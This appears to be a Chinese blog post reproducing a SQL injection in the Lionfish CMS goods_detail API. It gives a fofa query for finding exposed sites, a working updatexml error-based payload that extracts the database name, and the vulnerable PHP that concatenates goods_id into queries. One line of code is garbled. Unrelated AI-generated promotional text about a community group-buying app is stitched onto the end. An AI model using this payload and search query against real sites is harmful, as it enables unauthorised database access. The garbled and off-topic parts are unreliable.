狮子鱼SQL注入漏洞复现

文章详细介绍了狮子鱼CMS在ApiController.class.php中的一个SQL注入漏洞,通过fofa语法和特定payload可以复现该问题。代码中未对参数进行严格过滤,导致可以直接拼接SQL执行。修复建议是升级到最新版本以解决此安全风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

狮子鱼cms sql注入漏洞复现

一、前言

狮子鱼CMS是一款管理系统。在 ApiController.class.php处 参数过滤存在不严谨,导致SQL注入漏洞

二、环境搭建与复现

fofa语法: “/seller.php?s=/Public/login”
界面如下
在这里插入图片描述
执行payload:https://www.xxx.com/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)
结果:
在这里插入图片描述漏洞分析:ApiController.class.php

public function goods_detail()
    {
        $goods_id = I('get.goods_id');
        //gallery =>img_url
        //goods goods.goods_desc  goods_name group_price  market_price  sell_count group_number 

        $sql="select g.*,gd.description,gd.summary,gd.tag from ".
        C('DB_PREFIX')."goods g,".C('DB_PREFIX')."goods_description gd where g.goods_id=gd.goods_id and g.goods_id=".$goods_id;

        $goods_arr=M()->query($sql);

        $qian=array("\r\n");
        $hou=array("<br/>");
        $goods_arr[0]['summary'] = str_replace($qian,$hou,$goods_arr[0]['summary']); 

        $sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".$goods_id;
        $goods_image=M()->query($sql);

        $gallery = array();
        $default_image = '';
        foreach($goods_image as $val)
        {
            $val['img_url'] = str_replace('http','https',C('SITE_URL')).'/Uploads/image/'.$val['image'];

            if(empty($default_image))
            {
                $default_image = str_replace('http','https',C('SITE_URL')).resize($val['image'], C('goods_thumb_width'), C('goods_thumb_height'));
            }

            $gallery[] = array('img_url' => $val['img_url']); 
        }

        $goods = $goods_arr[0];

sql="selectimagefrom".C(′DBPREFIX′)."goodsimagewheregoodsid=".sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".sql="selectimagefrom".C(DBPREFIX)."goodsimagewheregoodsid=".goods_id;
传参时并没有做过滤,直接拼接导致的sql注入。

修复建议:升级到最新版本

### 回答1: 狮子社区团购小程序v17.7是一款功能强大、便捷实用的团购平台。此小程序通过与社区居民的绑定,为用户提供了丰富的社区生活服务。 首先,狮子社区团购小程序v17.7具有便捷的购物功能。用户可以通过小程序直接浏览社区内各类商品,并将其加入购物车,最后一次性结算。这为用户省去了与线下购物相比的种种不便,同时,用户还能够享受到更多促销和团购优惠,更实惠地购物。 其次,该小程序还为社区居民提供线上团购平台。用户可以通过小程序发起团购活动,邀请其他社区居民参与,从而获得更多折扣或者独家优惠。这不仅增强了社区居民之间的互动和交流,还提升了团购的参与度和成功率。 此外,狮子社区团购小程序v17.7还设置了用户评价和推荐系统。用户可以对购买过的商品进行评价,为其他用户提供参考。同时,小程序会根据用户的购买和评价记录,为其推荐符合个人喜好的商品,提升用户体验。 最后,狮子社区团购小程序v17.7还致力于提供高质量的售后服务。用户可以通过小程序在线咨询客服,解决遇到的问题。同时,小程序还提供退换货等售后服务,保障用户权益。 总体来说,狮子社区团购小程序v17.7是一款完善的团购平台,为社区居民提供了便利、实惠和高效的购物体验。它不仅促进了社区居民之间的交流和互动,还为用户带来了更多优质的商品选择和服务。 ### 回答2: 狮子社区团购小程序v17.7是一款专注于社区团购的小程序。该小程序提供了丰富的功能和便捷的服务,为用户提供了更好的购物体验。 首先,狮子社区团购小程序v17.7具有强大的商品展示功能。用户可以在小程序中浏览到各种社区团购商品的详细信息,包括商品的图片、价格、规格、产地等。用户可以通过小程序轻松了解商品的特点和优势,选择心仪的商品进行购买。 其次,该小程序提供了便捷的购物流程。用户可以选择心仪的商品加入购物车,然后选择配送地址和支付方式。小程序支持多种支付方式,包括微信支付、支付宝等,用户可以根据自身需求选择适合自己的支付方式。通过简单的几步操作,用户就可以完成团购商品的购买。 此外,狮子社区团购小程序v17.7还提供了社区互动功能。用户可以在小程序中加入社区,与其他社区成员互动交流,分享购物心得和团购优惠信息。社区还将定期组织一些线下活动,让用户更好地认识社区成员,增加社区凝聚力。 总的来说,狮子社区团购小程序v17.7是一款功能强大、操作简便的小程序。它通过丰富的商品展示、便捷的购物流程和社区互动功能,为用户提供了更好的购物体验,帮助用户更便捷地参与社区团购活动。无论是购买商品还是参与社区互动,用户都能在这款小程序中找到满足自己需求的功能。 ### 回答3: 狮子社区团购小程序v17.7是一款专为社区居民量身定制的电商应用程序。该小程序集结了社区内商家的特色商品和服务资源,为社区居民提供便捷、优质的购物体验。 首先,狮子社区团购小程序v17.7致力于满足社区居民的各类购物需求。用户通过该小程序可以轻松浏览社区商家的商品和服务信息,包括生活用品、食品保健品、家居装饰、餐饮外卖等。居民可以根据自己的需要选择心仪的商品,并享受到便宜的团购价格。 其次,狮子社区团购小程序v17.7具备便捷的购物功能。用户可以通过该小程序实现商品的在线下单和支付,无需亲自去商家处购买,极大地提高了购物的便利性。用户可以随时随地进行下单,节省了购物的时间和精力。 此外,狮子社区团购小程序v17.7还积极推动社区居民之间的交流和互动。在该小程序中,用户可以发布和参与社区团购的活动,与邻居们一起团购商品,享受更多优惠。社区居民可以通过交流平台留言、评论、评分等方式,分享对商品和服务的评价和体验,帮助其他居民做出更明智的购买决策。 总之,狮子社区团购小程序v17.7是一款方便、实用的电商应用程序。通过该小程序,社区居民可以尽享便捷的购物体验,同时促进社区居民之间的交流和互动,提升社区居民的生活品质。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

asdnaiol

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值